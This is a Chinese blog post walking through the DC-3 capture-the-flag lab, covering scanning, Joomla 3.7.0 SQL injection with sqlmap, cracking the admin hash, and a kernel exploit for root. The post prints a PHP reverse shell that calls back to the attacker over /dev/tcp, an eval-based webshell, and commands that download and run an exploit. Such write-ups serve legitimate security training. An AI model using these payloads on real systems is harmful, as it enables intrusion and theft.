dc-3打靶日记

1. nmap扫描

1.1 确定目标IP地址

1
sudo nmap -sN 192.168.31.0/24

通过命令去扫描当前C端下存活的ip,以下是没有打开靶机时查看的ip地址;

image-20240522191408191

在打开靶机DC-3进行查询当前网段存活的IP地址:

image-20240522191859909

从而得到靶机的IP地址,并且可知其80端口处于开放状态,并启动的是http服务

192.168.31.31

1.2 端口扫描

  1. 开放的TCP端口扫描
1
sudo nmap -sT --min-rate 10000 -p- 192.168.31.31 -oA nmapscan/ports

-sT:使用tcp三次握手的过程进行探测端口是否开放(相对较慢,但相对准确);

-sS:默认扫描方式,通过syn标志位进行检测链接是否开放(容易被防火墙挡住);

-oA:以全格式保存在后续的地址文件中,以三种不同的后缀文件名保存;

-min-rate:指定默认扫描的速度,在正式的护网中要比10000还慢;

-p:指定扫描端口, -p-:指从1到65535端口

image-20240522192938257

开放端口:80

  1. 扫描开放的UDP端口
1
sudo nmap -sU --top-ports 20 192.168.31.31 -oA nmapscan/udpports

image-20240522193406587

开放端口:53, 67, 68, 69, 123, 135, 137, 138, 139, 161, 162, 445, 500, 514, 520, 631, 1434, 1900, 4500, 49152

  1. 扫描开放的TCP端口的详细信息
1
sudo nmap -sT -sV -sC -O -p80 192.168.31.31 -oA nmapscan/tcpportDetail

-sV:扫描提供服务的版本

-sC:用默认的脚本进行扫描

-O:扫描操作系统的版本

image-20240522193847122

并没有得到什么非常有用的信息

  1. nmap漏扫
1
sudo nmap -script=vuln -p80 192.168.31.31 -oA nmapscan/vuln

image-20240522194438087

image-20240522194506118

找到可能存在CSRF漏洞的目录

/index.php

/index.php/component/users/?task=remind.remind&Itemid=101

/index.php/component/users/?Itemid=101

/index.php/2-uncategorised/1-welcome

还找到了一个Joomla的sql注入漏洞,Joomla的版本号为3.7.0

一个dos攻击

2. 网页检索

2.1 only one flag

根据刚才nmap扫面到的信息可以知道开启了http服务,通过访问网页能够得到的信息有:

image-20240522195457949

欢迎来到 DC-3。

这一次,只有一个flag,一个入口,没有任何线索。

要获得标志,显然必须获得 root 权限。

如何成为 root 取决于你自己,当然,还有整个系统。

祝你好运,我希望你喜欢这个小小的挑战

这已经很明显得到了这次的所有信息。

2.2 指纹信息

通过工具知道该网页的CMS框架,编程语言、操作系统等等:

CMS:Joomla

编程语言:php

操作系统:ubuntu

image-20240522195638272

2.3 gubuster目录爆破

1
sudo gobuster dir -u http://192.168.31.31 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240522200546723

得到的目录信息有

http://192.168.31.31/images/

http://192.168.31.31/templates/

http://192.168.31.31/media/

http://192.168.31.31/modules/

http://192.168.31.31/bin/

http://192.168.31.31/plugins/

http://192.168.31.31/includes/

http://192.168.31.31/language/

http://192.168.31.31/components/

http://192.168.31.31/cache/

http://192.168.31.31/libraries/

http://192.168.31.31/tmp/

http://192.168.31.31/layouts/

http://192.168.31.31/administrator/

http://192.168.31.31/cli/

发现了后台管理系统http://192.168.31.31/administrator/

image-20240522203946565

2.4 漏洞搜索

searchsploit

1
searchsploit Joomla

image-20240522201107173

搜索到的漏洞相当之多,可以进行的尝试也相当之多

根据上述nmap扫描得到的版本号3.7.0,进行进一步的详细搜索

1
searchsploit Joomla 3.7.0

image-20240522204654600

查看器详细信息并复制到当前目录

image-20240522204743984

根据漏洞记录的信息知道录用方法

1
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在下一小节对其进行尝试

metasploit

1
2
msfconsole
search Joomla

image-20240522201407606

通过metasploit搜索到的漏洞也不少,可以进行简单的尝试

由于之前通过nmap扫描扫到一个2017年的sql注入,这里刚好也有一个sql注入,我们就先试这个exploit/unix/webapp/joomla_comfields_sqli_rce

1
2
show options
set RHOSTS 192.168.31.31

image-20240522201722495

1
exploit

image-20240522201812853

总结:失败!

2.5 sqlmap注入测试

根据上一小节的searchsploit搜索得到的信息对其进行sqlmap注入测试

1
sqlmap -u "http://192.168.31.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20240522210633722

1
sqlmap -u "http://192.168.31.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

image-20240522211353251

1
sqlmap -u "http://192.168.31.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T #__users --colums -p list[fullordering]

image-20240522221201615

这里已经得到了用户的用户名和密码列,我们查看相应内容,观察是否存在相应的用户名和密码

1
sqlmap -u "http://192.168.31.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T #__users -C name,username,password --dump -p list[fullordering]

image-20240523095312405

确实得到了乡音的用户名和密码,但是密码经过了hash加密,我们可以尝试通过hash值保存到user_admin_pw.hash中,然后再进行进一步的碰撞破解。、

name: admin

username: admin

password: $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

1
john user_admin_pw.hash

image-20240523100426047

成功爆破出相应的密码,所以我们此时应该是得到了相应的用户名和密码;

username: admin

password: snoopy

image-20240523100601555

好的,成功登录后台管理系统!

2.6 getshell

在后台管理系统中找到了php文件处,有了php文件,可以考虑各种拿shell的方法,包括但不限于一句话木马

image-20240523103251665

两个模板中都有php文件,但经过尝试只有下方的模板文件才能够起到效果

image-20240523103355523

只有index.php才是可访问的文件,也是我们正常情况下提前考虑的文件

image-20240523103441861

我们通过在index.php中写入我们的木马进行getshell,当然可以选择一句话木马,然后通过中国菜刀进行了连接等等。各种方式,似乎并没有过滤;

方法一:通过proc_open反弹shell

输入我们通过proc_open反弹shell的php代码, 点击左上角的保存,然后打开攻击机的监听;再访问相应的php网页,即可获得相应的shell

image-20240523104131102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 当系统没有禁用proc_open的时候,我们是可以借助proc_open轻松反弹这样的一个shell的。
<?php
$ip = '192.168.31.221'; // 攻击者的IP地址
$port = 5555; // 攻击者的端口号

$descriptorspec = array(
0 => array("pipe", "r"), // stdin 是一个管道,子进程从中读取数据
1 => array("pipe", "w"), // stdout 是一个管道,子进程向其中写入数据
2 => array("pipe", "w") // stderr 是一个管道,子进程向其中写入数据
);

$process = proc_open("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'", $descriptorspec, $pipes);

if (is_resource($process)) {
fclose($pipes[0]); // 关闭stdin
fclose($pipes[1]); // 关闭stdout
fclose($pipes[2]); // 关闭stderr

proc_close($process);
}
?>

image-20240523104247581

image-20240523104310882

image-20240523102841453

方法二:通过一句话木马,蚁剑连接

1
<?php @eval($_POST['shell']);?>

image-20240523112548768

image-20240523112618284

image-20240523112655211

结论:shell拿到了,但不是root权限,接下来就是提权

3. 提权

最详细Linux提权总结(建议收藏) - 随风kali - 博客园 (cnblogs.com)

3.1 查看是否存在相关的提权命令

1
2
compgen -c | grep -E -x "nmap|vim|vi|nano|bash|less|more|cp|find|git|wget|cat|apt|zip|xxd|time|taskset|sed|pip|ed|tmux|scp|perl|awk|man|env|ftp"
find / -perm -u=s -type f 2>/dev/null

image-20240523171744596

命令是有的,但是并没有相关的命令存在suid权限,所以相应的命令并不可以用来做提权

3.2 内核漏洞提权

通过以下指令查询使用的操作系统信息和内核相关信息

1
2
3
uname -a
cat /etc/issue
cat /etc/*-release

image-20240523154340480

可以知道相关的操作系统版本和发行号等等

Ubuntu 16.04 LTS

Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU

通过searchsploit搜索得到以下的内核漏洞搜索结果

1
searchsploit ubuntu 16.04

image-20240523160332242

搜索出来的漏洞不少,可以对其中的一些进行尝试;一般后缀为txt的漏洞利用都比较容易实现,现场时以下符合条件的漏洞吧。

最后成功的漏洞是39772.txt,通过下方命令将漏洞文本复制到当前目录

1
2
searchsploit -m 39772.txt
cat 39772.txt

image-20240523164515075

可知器利用方式,通过下载https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip链接的压缩包进行利用,然后进入相应目录,执行./compile.sh./doubleput

来到我们getshell的机器中利用wget下载链接的压缩包

1
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

image-20240523163323614

通过命令解压文件

1
unzip 39772.zip

image-20240523163342910

1
2
cd 39772
ls

image-20240523163355804

1
2
tar -xvf crasher.tar
tar -xvf exploit.tar

image-20240523163517965

1
2
3
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

通过指令启动一个交互式界面,

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20240523170222381

最后,我们确实得到了该机子的root权限,最后的目的就是找到flag即可;

通过以下命令寻找flag文件

1
find / -name *flag*

q

最终也是成功的找到了flag并执行,over!

image-20240523170912662

4. 总结

  1. 拿站后进行提权的方式多样,其中包括
    • 可执行的二进制文件具有suid权限,特别是相关命令的提权
    • 内核漏洞脏牛提权
    • 密码复用提权
    • 明文root密码提权
    • 第三方服务提权
  2. sqlmap的使用方法多样,通过多种使用方法可以实现不同的效果
  3. 拿到网站后台管理系统后,可以寻找发布网页或者网页本身内容的php文件,通过插入一句话木马或者反弹shell实现getshell

dc-3打靶日记
http://candyb0x.github.io/2024/05/23/dc-3打靶日记/
作者
Candy
发布于
2024年5月23日
更新于
2024年5月23日
许可协议